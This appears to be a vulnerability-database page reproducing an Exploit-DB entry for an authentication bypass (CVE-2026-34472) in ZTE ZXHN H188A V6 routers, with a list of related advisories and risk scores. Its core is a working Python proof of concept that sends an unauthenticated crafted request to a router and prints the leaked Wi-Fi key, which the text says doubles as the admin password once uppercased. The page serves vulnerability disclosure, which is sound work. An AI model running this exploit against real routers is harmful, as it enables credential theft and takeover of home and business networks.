Lucene search
K

ZTE ZXHN H188A V6 - Authentication Bypass

🗓️ 29 May 2026 00:00:00Reported by Mina Nageh SalalmaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

Unauthenticated requests on ZTE ZXHN H188A V6 disclose WLAN PSKs, SSIDs, and PPPoE usernames.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-34472
30 Mar 202600:00
attackerkb
Circl
CVE-2026-34472
27 Mar 202623:26
circl
CNNVD
ZTE ZXHN H188A 安全漏洞
30 Mar 202600:00
cnnvd
CVE
CVE-2026-34472
30 Mar 202600:00
cve
Cvelist
CVE-2026-34472
30 Mar 202600:00
cvelist
EUVD
EUVD-2026-17107
30 Mar 202618:31
euvd
NVD
CVE-2026-34472
30 Mar 202616:16
nvd
Packet Storm
📄 ZTE ZXHN H188A 6 Authentication Bypass / Credential Disclosure
20 May 202600:00
packetstorm
Packet Storm
📄 ZTE ZXHN H188A V6 Authentication Bypass
26 May 202600:00
packetstorm
Positive Technologies
PT-2026-29045
30 Mar 202600:00
ptsecurity
Rows per page
# Exploit Title: ZTE ZXHN H188A V6 - Authentication Bypass 
# Date: 2026-05-20
# Exploit Author: Mina Nageh Salalma (Monx Research)
# Vendor Homepage: https://www.zte.com.cn
# Software Link:
https://github.com/minanagehsalalma/cve-2026-34472-auth-bypass-zte-h188a-router
# Version: ZXHN H188A V6.0.10P2_TE, V6.0.10P3N3_TE
# Tested on: ZTE ZXHN H188A V6.0.10P2_TE
# CVE: CVE-2026-34472

# Description:
# Unauthenticated requests to the root path of ZTE ZXHN H188A V6 firmware
# can reach pre-login wizard handlers and disclose WLAN PSKs, SSIDs, and
# PPPoE usernames. The leaked Wi-Fi password is also the default
administrator
# password after uppercasing, resulting in full authentication bypass.
#
# Root cause: router_logic_impl.lua accepts _type and _tag directly for
# empty-path requests. urlpath_2type_modifier.lua only applies
QuickSetupEnable
# when _type is missing. Wizard handlers then expose credential-bearing read
# actions (getPassword, wlan_get, ppp_get) for unauthenticated users.
#
# Approximately 500 publicly exposed H188A interfaces were reachable at
# time of original report (May 2024). ZTE PSIRT stopped responding; CVE
# assigned by MITRE on 2026-03-27 after escalation.
#
# MITRE CVE: https://www.cve.org/CVERecord?id=CVE-2026-34472

# PoC - Trigger wizard credential endpoint (Python 3 / requests)
import requests
import sys

def exploit(target):
    url = f"http://{target}/"
    # Craft request with _type parameter to bypass QuickSetupEnable gate
    params = {"_type": "loginData", "_tag": "login_entry"}
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"IF_ACTION": "getPassword", "_InstID_PASS":
"DEV.WIFI.AP1.PSK1", "PASSTYPE": "PSK"}
    try:
        r = requests.post(url, params=params, headers=headers, data=data,
timeout=10, verify=False)
        print(f"[+] {target} HTTP {r.status_code}")
        print(r.text[:2000])
    except Exception as e:
        print(f"[-] {target}: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: poc.py <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 May 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.17.1
EPSS0.00829
SSVC
37